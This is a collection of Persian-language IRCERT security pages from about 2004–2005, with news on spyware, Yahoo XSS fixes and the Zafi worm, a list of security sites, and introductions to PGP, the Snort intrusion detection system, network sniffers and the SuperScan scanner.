تام کورن – قائم مقام بخش بازاریابی Mazu Networks – در این باره می گوید:« به نظر من این آمار یک بیدارباش است. تعداد افرادی که به مکانیزمها و پردازه های امنیتی خود جهت حفاظت اعتماد دارند، زیاد نیست. این تحقیق که با دریافت نظرات ۲۲۹ متخصص فناوری اطلاعات تنظیم شده است، در زمانی منتشر می شود که گزارشی دیگر نشان می دهد ویروس نویسان و هکرها بیشتر مهارت خود را روی منافع مالی از طریق هویت ربایی متمرکز کرده اند.

حدود ۴۷ درصد از پاسخ دهندگان گفته اند که طی سال گذشته کرمی شبکه شرکتشان را آلوده کرده است. یک هشتم این افراد متذکر شده اند که ۲۵ درصد از شبکه آنها طی این حمله با مشکل روبر شده است.

در سال ۲۰۰۴ حدود ۲۵ درصد از شرکتها یک نشتی اطلاعات از داخل شرکت داشته اند و ۴۰ درصد این موارد باعث شده است که یک سرویس مهم و حیاتی با وقفه روبرو شود. تقریبا نیمی ازمتخصصین در این تحقیق اکانتها فعالی را روی شبکه خود یافته اند که متعلق به کارمندان قدیمی است.

شرکتهای مورد سوال در این تحقیق حداقل ۱۰۰۰ کارمند داشته اند و نماینده بیش از ۱۸ صنعت مختلف بوده اند.


﻿ IRCERT - خطرناکترین برنامه جاسوسی معرفی می شود - اخبارها و هشدارها

خطرناکترین برنامه جاسوسی معرفی می شود

21 دسامبر 2004 - 1 دی 1383

برنامه CoolWebSearch می تواند با تغییر تنظیمات امنیتی مرورگر IE، مشکلات امنیتی متعددی را ایجاد کند.

شرکت ضدجاسوسی Webroot Software امروز اعلام کرد که CoolWebSearch برنامه های HTML‌خطرناکی را نصب می کند و از حفره های امنیتی موجود در IE استفاده می کند.

کارشناسان معتقدند CoolWebSearch یکی از بدترین و خطرناکترین برنامه های جاسوسی است چون به صورت کامل اختیار مرورگر را در اختیار می گیرد و به کاربر اجازه کاری نمی دهد.

این برنامه خطرناکترین مورد در لیست دهگانه ای است که شرکت Webroot از بدترین خطرات و تهدیدات برنامه های جاسوسی تهیه کرده است. این لیست شامل موارد ذیل نیز می باشد:

  • PurityScan : برنامه ای که تبلیغات pop-up نمایش می دهد و مدعی است که می تواند تصاویر مستهجن را از روی کامپیوتر کاربر پاک کند.

  • Transponder (vx2) : یک browser helper object برای مرورگر IE که تمامی فعالیتهای مرور وب را مانیتور می کند و گاها تبلیغات نمایش می دهد.

  • KeenValue : یک برنامه تبلیغاتی که اطلاعات شخصی را جمع آوری می کند و آگهی روی کامپیوتر اشخاص اسال می کند.

  • Perfect Keylogger :‌ یک ابزار نظارت که سایتهای بازدید شده، کلیدهای فشرده شده و کلیکهای ماوس را ثبت می کند. همچنین اطلاعات حساسی مانند شماره حساب و کلمه عبور نیز توسط این نرم افزار ضبط می شود.

Webroot‌توصیه می کند که کاربران اصلاحیه های امنیتی مایکروسافت را نصب کنند، از برنامه های رایگان ( freeware ) استفاده نکنند و امکان دریافت فایل از طریق ActiveX‌ را در IE غیرفعال کنند.


﻿ IRCERT - دو مشکل امنیتی یاهو - اخبارها و هشدارها

دو مشکل امنیتی یاهو

19 آگوست 2004 – 29 مرداد 1383

یاهو دو مشکل امنیتی موجود در سیستم ایمیل رایگان خود را که می توانست به یک هکر اجازه دهد تا کوکی های مرورگر کاربر را بخواند و ظاهر بعضی صفحات وب را تغییر دهد، برطرف کرد.

یکی از سخنگویان این شرکت گفته است که مشکلات ماه پیش با ایجاد تغییراتی در سرورهای ایمیل یاهو برطرف شدند. یاهو در ابتدای ژوئن از این مشکل آگاه شده بود.

مشکلات امنیتی مذکور از سری مشهور cross-site scripting بودند که با استفاده از زبانهای اسکریپت نویسی و وب سرورهای با پیکربندی ضعیف برای انجام حمله علیه کامپیوتر کاربر استفاده می کنند. این حملات معمولا کاربر را به یک وب سایت دیگر هدایت می کند و امکان دسترسی به کوکی های کاربر و حتی گاه اجرای کد توسط هکر بر روی کامپیوتر کاربر را فراهم می آورند.

یاهو اشکالات را در کد سرور خود مرتفع کرده است. کاربران به اصلاحیه دیگری نیاز ندارند.


﻿ IRCERT - سریع ترین کرم اینترنتی - اخبارها و هشدارها Zafi

Zafi در صدر ویروسهای ژانویه

1 فوریه 2005 - 13 بهمن 1383

بنابر گزارش منتشر شده توسط Sophos،‌ ویروس Zafi که خود را با عنوان کارت تبریک کریسمس منتشر می کرد شبکه ها و سیستم های زیادی را آلوده کرد به گونه ای که حدود نیمی از گزارشات رسیده درباره ویروسها، به Zafi تعلق داشت. ژانویه دومین ماه متوالی بود که Zafi.D در صدر لیست ویروسهای ماه قرار گرفت.

44 درصد از گزارشهای رسیده از مراکز تحقیقاتی به آزمایشگاه Sophos به این ویروس تعلق دارد. بسیاری از کاربران هنگامی که پس از تعطیلات به سر کار بازگشتند و ایمیلهای خود را چک کردند، قربانی Zafi شدند و به همین دلیل دوباره ترافیک این ویروس بالا رفت.

سایر ویروسهای لیست Sophos، ویروسهای مهم سال 2004 هستند. برای مثال از هریک از ویروسهای Netsky، Bagle، MyDoom و Sober حداقل یک نسخه در لیست وجود دارد. Netsky.p در رده دوم لیست جای دارد در حال که فایلهای حفاظت در برابر این ویروس از 11 ماه در دسترس کاربران بوده است.

لیست کامل ده ویروس برتر ماه ژانویه به قرار زیر است:

1- Zafi.D - 44 درصد

2- Netsky.P - 19.4 درصد

3- Zafi.B - 10.1 درصد

4- Sober.i - 6.3 درصد

5- Netsky.D - 3.2 درصد

6- Netsky.Z - 3.1 درصد

7- Bagle.AA - 2.1 درصد

8- Netsky.B - 1.9 درصد

9- MyDoom.O - 1.2 درصد

10- Netsky.C - 1.1 درصد


﻿ IRCERT - کریسمس را تبریک می گوید! - اخبارها و هشدارها Zafi

Zafi کریسمس را تبریک می گوید!

14 دسامبر 2004 - 24 آذر 1383

نسخه جدید کرم Zafi که امروز منتشر شده است، خود را به شکل یک تبریک کریسمس به شما معرفی می کند.

محققان ضدویروس اعلام کردند این نسخه جدید W32/Zafi.D نام دارد و خود را در ایمیلها و در قالب تبریک کریسمس مخفی می کند.

بنا به گفته MessageLabs این ویروس به ایمیلهای مختلف در قالب فایلی با اسامی و پسوندهای گوناگون الحاق می شود. به گفته متخصصان خطر این ویروس برای کاربران خانگی بیشتر است چون شرکتها اکثرا با مشاهده نسخ قبلی این ویروس، خود را ایمن کرده اند. این ویروس تفاوت چندانی با نسخ قبلی خود ندارد.

از آنجایی که این ویروس بیشتر در قالب فایلی با پسوند php به ایمیلها متصل شده است و اکثر شرکتها پیش از این اقدامات لازم برای جلوگیری از باز شدن این فایل را به عمل آورده اند، گسترش این ویروس زیاد نخواهد بود. کارشناسان معتقدند که بیشترین خطر متوجه کاربران وب در منازل است که نرم افزار ضدویروس خود را به موقع به روز نمی کنند و تصور می کنند که یک کارت کریسمس برای تبریک دریافت کرده اند!


﻿ IRCERT - سایتهای امنیتی

صفحه اول > سایتهای امنیتی

سایتهای امنیتی فارسی

انجمن رمز ایران

پروژه فرهنگ سازی،‌ تربیت و آموزش در امنیت شبکه (فتا)

کمیته مبارزه با جرایم رایانه ای

شرکت سخاروش

شرکت مهندسی مهران رایانه

شورای عالی امنیت فضای تبادل اطلاعات کشور (افتا)

مرکز امنیت شبکه شریف

مرکز اطلاع رسانی نرم افزار ضدویروس McAfee

نمایندگی محصولات کاسپرسکی در ایرا ن

سایت فارسی ضدویروس Nod 32

Hat-Squad Security Group

Hyper Security

گروه آشیانه

هفته نامه امنیتی سیمرغ

IranSLL

پایگاه اطلاعات امنیت شبکه مرکز تحقیقات مخابرات ایران

مرکز فوریت های امنیت رایانه ای مرکز آمار و انفورماتیک دانشگاه تهران

ماهنامه امن- بولتن مرکز امنیت شبکه شریف

اخبار ویروسهای شبکه علمی کشور

همایش بررسی ابعاد حقوقی فناوری اطلاعات

شبگرد

مجله الکترونیکی امنیت وب

ا توماسیون شبکه‌های نوین و ایمن آشنا

شرکت امن افزار گستر شریف

شرکت مشورت

شرکت مهندسی و ایمنی شبکه دژآذر

موسسه کهکشان نور

Secure Target Network

گروه مشاوران امنیتی شبکه

مرکزگواهی دیجیتال پارس ساین

Crouz

وبلاگ‌های امنیتی فارسی

امنیت و برنامه‌نویسی شبکه

آموزش هک و امنیت شبکه

سعید هکر

ایران هک

net-sec

HACK BOYS

netsec

tgs


﻿ IRCERT - ابزارها - PGPآشنایی با نرم‌افزار

صفحه اول > ابزارها

آشنایی با PGP

با استفاده از PGP (Pretty Good Privacy)شما مي‌توانيد محرمانگي پيغامها و فايلهايتان را حفظ کنيد بطوريکه فقط دريافت‌کنندگان مورد نظر شما بتوانند آنها را بخوانند. بعلاوه مي‌توانيد پيامها و فايلهايتان را امضاي ديجيتال کنيد تا دريافت‌کنندگان از تعلق آنها به شما مطمئن شويد. يک پيام امضاءشده، عدم تغيير محتويات آن را نيز تاييد مي‌کند. البته PGP تنها نرم‌افزار ارسال و دريافت ايميلهاي امن نيست اما کاربرد آن در اين زمينه نسبتا زياد است.

PGP براساس رمزنگاري کليد عمومي عمل مي‌کند که در آن از يک جفت کليد براي برقراري ارتباط امن استفاده مي‌شود. براي ارسال ايميل خصوصي به يک نفر، از کپي کليد عمومي آن شخص براي رمزنگاري اطلاعات استفاده مي‌کنيد و به اين ترتيب تنها آن فرد مي‌تواند با استفاده از کليد خصوصي خود ايميل را رمزگشايي کند. بالعکس، چنانچه شخصي بخواهد براي شما ايميل امن ارسال کند، از کليد عمومي شما براي رمز کردن متن نامه استفاده مي‌کند و تنها شماييد که مي‌توانيد آن متن را با استفاده از کليد خصوصي خود رمزگشايي کنيد. بنابراين شما ديگران را از کليد عمومي خودتان مطلع مي‌کنيد اما از کليد خصوصي خودتان، خير!!!

همچنين از کليد خصوصي خود براي امضاي ايميلي که قصد ارسال آنرا داريد استفاده مي‌کنيد. دريافت‌کنندگان مي‌توانند از کليد عمومي شما براي تعيين اينکه آيا واقعا خود شما آن‌را ارسال کرده‌ايد و آيا متن نامه در طول ارسال تغيير نکرده است، استفاده کنند. شما هم براي تاييد امضاي ديگران از کليد عمومي آنها براي رمزگشايي متن دريافت‌شده استفاده مي‌کنيد.

در ادامه به نحوه کار با نرم‌افزار PGP اشاره مي‌شود، با خواندن اين مطلب به سراغ اين نرم‌افزار برويد و سعي کنيد از اين به بعد ايميل‌هاي رمزشده براي ما بفرستيد.

۱- PGP را روي کامپيتور خود نصب کنيد:

با مراجعه به راهنماي نصب PGP که معمولا همراه اين نرم‌افزار است با نحوه نصب آن آشنا خواهيد شد. در صورت نبود اين راهنما، خودتان دست بکار شويد. چندان مشکل نيست.

۲- يک جفت کليد خصوصي و عمومي ايجاد کنيد:

قبل از اينکه بتوانيد استفاده از PGP را آغاز کنيد، نياز به توليد يک جفت کليد داريد. مي‌توانيد اينکار را در طول نصب PGP انجام دهيد يا زمان ديگري که اين نرم‌افزار را اجرا مي‌کنيد. شما به جفت کليد براي موارد زير نياز داريد:

  • رمزنگاري اطلاعات
  • رمزگشايي اطلاعاتي که با کليد شما رمز شده‌اند.
  • امضاء کردن اطلاعات

۳- مبادله کليدهاي عمومي با ديگران:

بعد از اينکه جفت‌کليد را ايجاد کرديد، مي‌توانيد مکاتبه با ديگر استفاده‌کنندگان PGP را آغاز کنيد. شما به يک کپي از کليد عمومي ديگران نياز داريد. کليد عمومي شما بصورت بلوکي از متن است، بنابراين تبادل کليد با شخص ديگر آسان است. مي‌توانيد کليد عمومي خود را در ايميل قرار دهيد، آنرا در فايل کپي کنيد يا آنرا به يک سرويس‌دهنده کليد ارسال کنيد تا هرکسي بتواند به کپي آن در صورت نياز دسترسي داشته باشد. (مراقب باشيد که کليد خصوصي خود را براي ديگران ارسال نکنيد، در ضمن مطمئن باشيد که از کليد عمومي يک نفر نمي‌توان به کليد خصوصي وي پي برد)

۴- از اعتبار کليد عمومي ديگران مطلع شويد:

هنگامي که شما يک کپي از کليد عمومي شخصي را داريد، مي‌توانيد آنرا به جاکليدي خود اضافه کنيد. بعد از آن مي‌توانيد نسبت به تعلق اين کليد به شخص مورد نظر اطمينان حاصل کنيد و اينکه اين کليد تغيير نکرده است. اينکار با مقايسه اثرانگشت (fingerprint) يکتا که در کنار کپي کليد عمومي آن شخص داريد با اثرانگشت کليد اصلي که در اختيار صاحب اصلي کليد است، انجام مي‌پذيرد. هنگامي که مطمئن شديد که کليد عمومي معتبري از آن شخص در اختيار داريد، به آن کليد نشانه معتبر بودن اضافه مي‌کنيد.

۵- امن‌کردن ايميلها و فايلهايتان را آغاز کنيد:

بعد از اينکه جفت کليدهايتان را توليد کرديد و کليدهاي عمومي را مبادله کرديد، مي‌توانيد دست به کار رمزنگاري، امضاء ، رمزگشايي و تاييد ايميلها و فايلها شويد. براي انجام يک عمل PGP بايد فايل يا پيامي را که مي‌خواهيد امن کنيد انتخاب کنيد و سپس عمل مورد نظر خود را «رمزنگاري (Encrypt)، امضاء (Sign) ، رمزگشايي (Decrypt) يا تاييد (Verify) » از طريق منوي PGP انتخاب کنيد. منوهاي PGP از چند طريق در دسترس هستند؛ مثلا در Windows Explorer شما مي‌توانيد روي فايل مورد نظر کليک راست کنيد و سپس عمل مناسب را در قسمت PGP‌ انتخاب کنيد.

۶- فايلهاي مورد نظر را پاک کنيد.

هنگامي که احتياج به پاک کردن دائمي يک فايل داريد، مي‌توانيد با استفاده از ويژگي Wipe اين عمل را انجام دهيد تا مطمئن شويد که فايل قابل بازيابي نيست. فورا در محل ذخيره فايل اطلاعاتي نوشته مي‌شود تا نتوان فايل را با استفاده از نرم‌افزارهاي بازيابي ديسک حاصل کرد.

ضمنا نرم‌افزار PGP به شما امکان رمزکردن، رمزگشايي و ساير اعمال را روي اطلاعاتي که روي clipboard قرار دارد، مي‌دهد. سپس اطلاعات تغييريافته را روي همان clipboard قرار ميدهد. حتما مي‌دانيد که با انتخاب گزينه copy ، متن انتخاب شده به clipboard و با انتخاب گزينه paste متن موجود در clipboard به پنجره فعال شما منتقل مي‌شود.


﻿ IRCERT - ابزارها - Snort

صفحه اول > ابزارها

Snort، نمونه‌ای از یک ابزار تشخیص نفوذ شبکه‌ای

یک نرم‌افزار تشخیص نفوذ به‌صورت کدباز است که بر روی محیط‌های Linux و Windows عرضه می‌گردد و با توجه به رایگان بودن آن، به یکی از متداول‌ترین سیستم‌های تشخیص نفوذ شبکه‌های رایانه‌یی مبدل شده است. از آن‌جاکه برای معرفی آن نیاز به معرفی کوتاه این دسته از ابزارها داریم، ابتدا به مفاهیمی اولیه درباره‌ی ابزارهای تشخیص نفوذ می‌پردازیم، به عبارت دیگر معرفی این نرم‌افزار بهانه‌یی است برای ذکر مقدمه‌یی در باب سیستم‌های تشخیص نفوذ.

Intrusion Detection System (IDS) یا سیستم تشخیص نفوذ به سخت‌افزار، نرم‌افزار یا تلفیقی از هر دو اطلاق می‌گردد که در یک سیستم رایانه‌یی که می‌تواند یک شبکه‌ی محلی یا گسترده باشد، وظیفه‌ی شناسایی تلاش‌هایی که برای حمله به شبکه صورت‌ می‌گیرد و ایجاد اخطار احتمالی متعاقب حملات، را بر عهده دارد.

IDSها عملاً سه وظیفه‌ی کلی را برعهده دارند : پایش، تشخیص، واکنش. هرچند که واکنش در مورد IDSها عموماً به ایجاد اخطار، در قالب‌های مختلف، محدود می‌گردد. هرچند دسته‌یی مشابه از ابزارهای امنیتی به نام Intrusion Prevention System (IPS) وجود دارند که پس از پایش و تشخیص، بسته‌های حمله‌های احتمالی را حذف می‌کنند. نکته‌یی که در این میان باید متذکر شد، تفاوت و تقابل میان Firewallها و IDSها است. از آن‌جاکه ماهیت عمل‌کرد این دو ابزار با یکدیگر به کلی متفاوت است، هیچ‌یک از این دو ابزار وظیفه‌ی دیگری را به طور کامل برعهده نمی‌گیرد، لذا تلفیقی از استفاده از هردو ابزار می‌تواند امنیت کلی سیستم را بالا ببرد.

در حالت کلی IDSها را می‌توان به دو دسته‌ی کلی تقسیم‌بندی نمود :

- Network IDS (NIDS)

- Host IDS (HIDS)

HIDSها، اولین سیستم IDSی هستند که در یک سیستم رایانه‌ای باید پیاده‌سازی شود. معیار تشخیص حملات در این سیستم‌ها، اطلاعات جمع‌آوری شده بر روی خادم‌های مختلف شبکه است. برای مثال این سیستم با تحلیل صورت عملیات انجام شده، ذخیره شده در پرونده‌هایی خاص، سعی در تشخیص تلاش‌هایی که برای نفوذ به خادم مذکورد انجام شده است دارد. این تحلیل‌ها می‌تواند به صورت محلی بر روی خود خادم انجام گردد یا به سیستم تحلیل‌گر دیگری برای بررسی ارسال شود. یک HIDS می‌تواند تحلیل اطلاعات بیش از یک خادم را بر عهده بگیرد.

با این وجود، اگر نفوذ‌گر جمع‌آوری صورت عملیات انجام‌شده بر روی هریک از خادم‌های مورد نظر را به نحوی متوقف کند، HIDS در تشخیص نفوذ ناموفق خواهد بود و این بزرگ‌ترین ضعف HIDS است.

NIDSها، به عنوان دومین نوع IDSها، در بسیاری از موارد عملاً یک Sniffer هستند که با بررسی بسته‌ها و پروتکل‌های ارتباطات فعال، به جستجوی تلاش‌هایی که برای حمله صورت می‌گیرد می‌پردازند. به عبارت دیگر معیار NIDSها، تنها بسته‌هایی است که بر روی شبکه‌ها رد و بدل می‌گردد. از آن‌جایی‌که NIDSها تشخیص را به یک سیستم منفرد محدود نمی‌کنند، عملاً گسترده‌گی بیش‌تری داشته و فرایند تشخیص را به صورت توزیع‌شده انجام می‌دهند. با این وجود این سیستم‌ها در رویایی با بسته‌های رمزشده و یا شبکه‌هایی با سرعت و ترافیک بالا کارایی خود را از دست می‌دهند.

با معرفی انجام شده در مورد دو نوع اصلی IDS ها و ضعف‌های عنوان شده برای هریک، واضح است که برای رسیدن به یک سیستم تشخیص نفوذ کامل، به‌ترین راه استفاده‌ی همزمان از هر دو نوع این ابزارهاست.

Snort، در کامل‌ترین حالت نمونه‌یی از یک NIDS است. این نرم‌افزار در سه حالت قابل برنامه‌ریزی می‌باشد :

  • حالت Sniffer

در این حالت، این نرم‌افزار تنها یک Sniffer ساده است و محتوای بسته‌های ردوبدل شده بر روی شبکه را بر روی کنسول نمایش می‌دهد.

  • حالت ثبت‌کننده‌ی بسته‌ها

Snortدر این وضعیت، اطلاعات بسته‌های شبکه را در پرونده‌یی که مشخص می‌شود ذخیره می‌کند.

  • سیستم تشخیص نفوذ

در این پیکربندی، بر اساس دو قابلیت پیشین و با استفاده از قابلیت تحلیل بسته‌ها و قوانینی که تعیین می‌گردد، Snort امکان پایش و تحلیل بسته و تشخیص نفوذ را یافته و در صورت نیاز واکنش تعیین شده را به‌روز می‌دهد.

حالت پیش‌فرض خروجی این ابزار فایلی متنی است که می‌تواند در آن ابتدای بسته‌ها را نیز درج کند. با این وجود در صورتی‌که این ابزار در حال فعالیت بر روی ارتباطات شبکه‌یی با سرعت بالا می‌باشد به‌ترین راه استفاده از خروجی خام باینری و استفاده از ابزاری ثانویه برای تحلیل و تبدیل اطلاعات خروجی است.

بُعد دیگر از پیکربندی Snort به عنوان یک سیستم تشخیص نفوذ، استفاده از قوانین برای ایجاد معیار نفوذ برای Snort است. برای مثال می‌توان با قانونی، Snort را مکلف ساخت که نسبت به دسترسی‌های انجام شده مبتنی بر پروتکلی تعیین شده از/به یک پورت خاص و از/به یک مقصد معین با محتوایی شامل رشته‌یی خاص، اخطاری یا واکنشی ویژه را اعمال کند.

نکته‌یی که باید در نظر داشت این‌ است که از آن‌جاکه Snort را می‌توان به گونه‌یی پیکربندی نمود که قابلیت تشخیص حمله توسط ابزارهای پویش پورت را نیز داشته باشد، لذا با وجود استفاده از Snort نیازی به استفاده از ابزاری ثانویه برای تشخیص پویش‌گرهای پورت وجود ندارد.

همان‌گونه که گفته شد، Snort با قابلیت‌های نسبتاً کاملی که در خود جای داده‌است، به همراه رایگان بودن آن و قابلیت نصب بر روی محیط‌ها و سیستم‌های عامل متدوال، به یکی از معمول‌ترین IDSهای کنونی مبدل شده است. برای دریافت این نرم‌افزار و همچنین اطلاعات جامعی در مورد آن می‌توانید به پای‌گاه اصلی آن، www.snort.org، مراجعه کنید.


﻿ IRCERT - ابزارها - Sniffers : بخش اول

صفحه اول > ابزارها

WinDump بخش اول : Sniffer ها

این ابزارWinDump که نسخه‌ی تحت Windows نرم‌افزار قدیمی و مشهور tcpdump تحت سیستم‌های عامل خانواده‌ی Unix می‌باشد، عملاً یک تحلیل‌گر ترافیک شبکه است. از آن‌جاکه اغلب استفاده کننده‌گان سیستم‌های کامپیوتری خانه‌گی در کشورمان را کاربران سیستم‌های عامل خانواده‌یWindows تشکیل می‌دهند، معرفی WinDump را به بررسی tcpdump ترجیح داده‌ایم.

یک تحلیل‌گر ترافیک شبکه، که عموماً با نام Sniffer از آن یاد می‌گردد، وظیفه‌ی بررسی بسته‌های رد و بدل شده بر روی شبکه را برعهده دارد که نرم‌افزار Ethereal که به‌زودی در همین پای‌گاه به معرفی آن خواهیم پرداخت نمونه‌ی متداول و پرطرفداری از یک Sniffer است. از آن‌جاکه در معرفی نرم‌افزار پیشین بصورت اجمالی به این دسته از ابزارها پرداخته بودیم، در معرفی WinDump نیاز به ذکر مقدمات بیش‌تری از Sniffer ها داریم.

با استفاده از یک Sniffer، با تعیین یک رابط شبکه‌ی خاص، می‌توان به پایش و تحلیل بسته‌های اطلاعاتی رد و بدل شده بر روی شبکه‌یی که رابط شبکه‌ی مورد نظر به آن متصل است پرداخت. به عبارت دیگر یک Sniffer را می‌توان به یک سیستم پایش تشبیه کرد که تمامی اطلاعات منتقل شده بر روی بستر فیزیکی را بررسی و ذخیره می‌کند. در نهایت با به دست آوردن این اطلاعات دو عمل می‌توان بر روی محتوای بسته‌های بررسی شده انجام داد :

- تحلیل کلی ترافیک شبکه

این عمل توسط تحلیل‌گر انجام می‌گردد و از آن‌جاکه حجم اطلاعات رد و بدل شده بر روی شبکه بسیار زیاد است، تحلیل‌گر باید توانایی تمیز دادن اطلاعات مربوط به پروتکل‌های مختلف با مبدأ‌ و مقصدهای مختلف را داشته باشد.

- فیلتر کردن بسته‌هایی با محتوایی خاص

با فیلترکردن بسته‌هایی خاص و نمایش اختصاصی آن‌ها توسط Sniffer، می‌توان تمیزدادن بسته‌های مربوط به یک پروتکل خاص، از/به مبدأ/مقصد خاص، با محتوایی از رشته‌یی تعیین شده و دیگر ویژه‌گی‌ها را به نرم‌افزار Sniffer سپرد. پس از به دست آوردن خروجی دل‌خواه تحلیل آن بسیار آسان‌تر است.

قابلیت پایش بسته‌های رد و بدل شده بر روی شبکه، قابلیتی مختص سخت‌افزار است. به عبارت دیگر رابط شبکه در حالتی خاص قرار می‌گیرد که تمامی بسته‌هایی که مقصد آدرس فیزیکی آن‌ها رابط مورد نظر نیست نیز مانند بسته‌های مربوط دریافت شده و محتوای آنها را می‌توان ذخیره کرد. در حالت عادی، سخت‌افزار و لایه‌ی Datalink بسته‌هایی که به رابط مورد نظر با آدرس فیزیکی خاص، ارتباطی ندارند را از روی شبکه بر نمی‌دارد.

با این وجود، از آن‌جاکه هدف از استفاده از Sniffer ها بررسی تمامی ترافیک شبکه، با استفاده از پایش تمامی بسته‌هایی که از مبدآهای مختلف به مقاصد دیگر ارسال می‌شوند می‌باشد، لذا پیش‌نیاز استفاده از این دسته از ابزارها اساساً وجود نسخه‌یی از تمامی ترافیک شبکه بر روی بستر متصل به رابط شبکه‌ی مورد نظر است.

این پیش‌نیاز، پیش‌نیازی سخت‌افزاری را به استفاده کننده از Sniffer تحمیل می‌کند، زیرا با استفاده از سوییچ‌ها، که در حال حاضر تقریباً در تمامی موارد جای Hub‌ها را گرفته‌اند، ترافیکی که بر روی هریک از درگاه‌های سوییچ به سمت سیستم مورد نظر فرستاده می‌شود، تنها مختص آن سیستم است و ترافیک دیگر گره‌های شبکه بر روی آن قرار ندارد. لذا در شبکه‌یی که بر اساس سوییچ عمل‌ می‌کند، عملاً امکان استفاده از Sniffer در شرایط معمول وجود ندارد.

با این‌وجود بسیاری از سوپپچ‌ها با هدف در اختیار گذاردن درگاهی خاص، امکان قرار دادن تمامی ترافیک شبکه بر روی یک کانال را فراهم می‌کنند و سیستمی که به این درگاه متصل باشد می‌تواند به پایش ترافیک شبکه بپردازد. امکان استفاده از این قبیل درگاه‌ها بر روی سوییچ‌ها، در صورت وجود، محدود بوده و تنها مختص مدیران شبکه می‌باشد. این امکان تنها برای جامه‌ی عمل پوشانیدن به یکی از اهدف استفاده از Snifferها، یعنی استفاده توسط مدیران شبکه برای تحلیل ترافیک فعال، در برخی از سوییچ‌ها وجود دارد.

در استفاده از این دسته از Sniffer ها دو کاربرد خاص مد نظر بوده است :

- استفاده توسط مدیران و تحلیل‌گران شبکه برای عیب‌یابی و رفع کاستی‌های شبکه

- استفاده توسط نفوذگران به شبکه‌ها و سیستم‌ها

- شناسایی تلاش‌ها برای نفوذ

هدف اول، عمل‌کردی است که در مورد آن صحبت شد. کاربرد بعدی، استفاده از قابلیت این دسته از نرم‌افزارها توسط نفوذگران به شبکه‌ها است. نفوذگران با پایش داده‌ها، به تلاش برای تحلیل داده‌های شبکه و به‌دست‌آوردن اطلاعاتی هرچه بیشتر در مورد شبکه می‌پردازند. دسته‌ی مهمی از این اطلاعات کدهای کاربری و کلمات عبور نرم‌افزارهای مختلفی است که به‌صورت رمزنشده بر روی شبکه در حال انتقال هستند. یک نفوذگر، با تحلیل ترافیک، ابتدا به نوع نرم‌افزارهای فعال بر روی شبکه پی‌برده و سپس در پی شناخت بیش‌تر یک نرم‌افزار نمونه و تشخیص حفره‌های امنیتی موجود در آن، به فیلترکردن بسته‌های مختص آن نرم‌افزار پرداخته و سعی در گردآوری اطلاعات بیش‌تر در مورد آن می‌کند. با به دست آوردن اطلاعات مورد نظر، اقدامات بعدی برای حمله، توسط اطلاعات حیاتی به دست آمده، انجام می‌گیرد.

استفاده از سوییچ‌ها، علاوه بر بالابردن کارایی استفاده از سخت‌افزار و بستر شبکه، به بالابردن امنیت موجود نیز کمک شایانی کرده و احتمال پایش ترافیک توسط نفوذگران، بر روی سیستم‌های متفرقه‌ی موجود بر روی شبکه را پایین می‌آورد. هرچند که باید به خاطر داشت که روش‌هایی نیز وجود دارد که می‌توان این امکان سوییچ‌ها را غیرفعال کرد و یا سوییچ را مجبور ساخت که کلیه‌ی ترافیک را به یک درگاه خاص بفرستد. لذا استفاده از سوییچ تضمین قطعی جلوگیری از پایش ناخواسته‌ی ترافیک نیست.

هدف دیگری که می‌توان برای استفاده از Snifferها متصور بود امکان تشخیص تلاش‌های در حال انجام برای نفوذ است. تلاش‌هایی از قبیل حمله به آدرس یا درگاه خاص بر روی یک پروتکل خاص، و یا حمله به یک نرم‌افزار خاص، توسط یک تحلیل‌گر شبکه‌ی ماهر و با استفاده از یک Sniffer، قابل تشخیص است. با در نظر گرفتن این هدف، از Sniffer ها می‌توان بر روی یک سیستم منفرد، به منظور پایش ارتباطات انجام گرفته با سیستم، و تشخیص حملات احتمالی در حال انجام، استفاده کرد، هرچند که در این قبیل موارد استفاده از دیوارهای آتش، حتی انواع شخصی آن، کمک شایانی به کاربر می‌کنند.

با توجه به آن‌چه به‌صورت پراکنده در خلال متن گفته شد، راه‌های مقابله با Sniffer ها را می‌توان به سه دسته تقسیم نمود :

- استفاده از ابزارهای رمزنگاری داده‌ها

- استفاده از سوییچ در شبکه به جای Hub

- استفاده از ابزارهای ضد Sniff که امکان تشخیص رابط‌های شبکه‌یی که در حال Sniff قرار دارند را به وجود می‌آورد.

با مقدمه‌یی که در مورد Snifferها ذکر شد، معرفی نرم‌افزار WinDump و قابلیت‌های آن را به بخش بعدی موکول می‌کنیم.


﻿ IRCERT - ابزارها - (Intrusion Detection)مقدمه ای بر تشخیص نفوذ

صفحه اول > ابزارها

SuperScan، قسمت دوم

در ادامه‌ی قسمت پیشین، که در آن به معرفی متداول‌ترین دسته از نرم‌افزارهای بررسی امنیتی سیستم های رایانه‌یی، یعنی پویش‌گرهای آدرس و درگاه، پرداختیم، در این قسمت به ادامه‌ی معرفی امکانات ویژه‌ی این نرم‌افزار می‌پردازیم.

در پنجره‌ی زیر، بخش ابزارهای همراه با این نرم‌افزار را مشاهده می‌کنید :

این نرم‌افزار، با در اختیار قراردادن ابزارهای کوچک و متداول، که در بررسی وضعیت شبکه‌ها استفاده می‌شود، عملاً امکانی مجتمع برای استفاده‌های متداول محسوب می‌گردد. در این بخش امکان به دست آوردن آدرس IP از نام، Ping کردن یک ایستگاه، استفاده از امکانات HTTP، بررسی مالکیت یک دامنه‌ی اینترنتی و حتی بررسی مالکیت یک آدرس IP نیز وجود دارد. شکل زیر مثالی از اجرای RIPE Whois IP برای یکی از آدرس‌های متعلق به شرکت مخابرات ایران را نشان می دهد. خروجی این ابزار، اطلاعات جامعی در مورد آدرس IPی مورد نظر و مالک آن است :

از دیگر امکانات ویژه‌ی این نرم‌افزار، امکان بررسی سیستم‌های مبتنی بر Windows است. بررسی‌هایی که در این راستا انجام می‌گیرد تمامی ابعاد معمول یک سیستم را در بر می‌گیرد، از جمله نام NetBIOS، گروه‌ها و کاربران آن سیستم، دامنه‌های محلی‌یی که سیستم به آن متصل است، منابع به اشتراک گذارده شده و دیگر ابعاد.

شکل زیر صفحه‌یی نمونه از اجرای آزمایشی این بررسی بر روی یک سیستم نمونه با آدرس IP محلی 192.168.0.4 را نشان می‌دهد :

در سمت چپ این پنجره، امکان تعیین بررسی‌های ویژه‌یی که مد نظر است نیز امکان‌پذیر است. برای مثال می توان تنها به بررسی نام NetBIOS و یا تنها گروه‌ها و کاربران پرداخت.

در همین قسمت، امکان تعیین پارامترهایی، مجزا از نوع عمل‌کرد ابزار وجود دارد. با انتخاب گزینه‌ی Options، می‌توان آن‌ها را تعیین کرد :

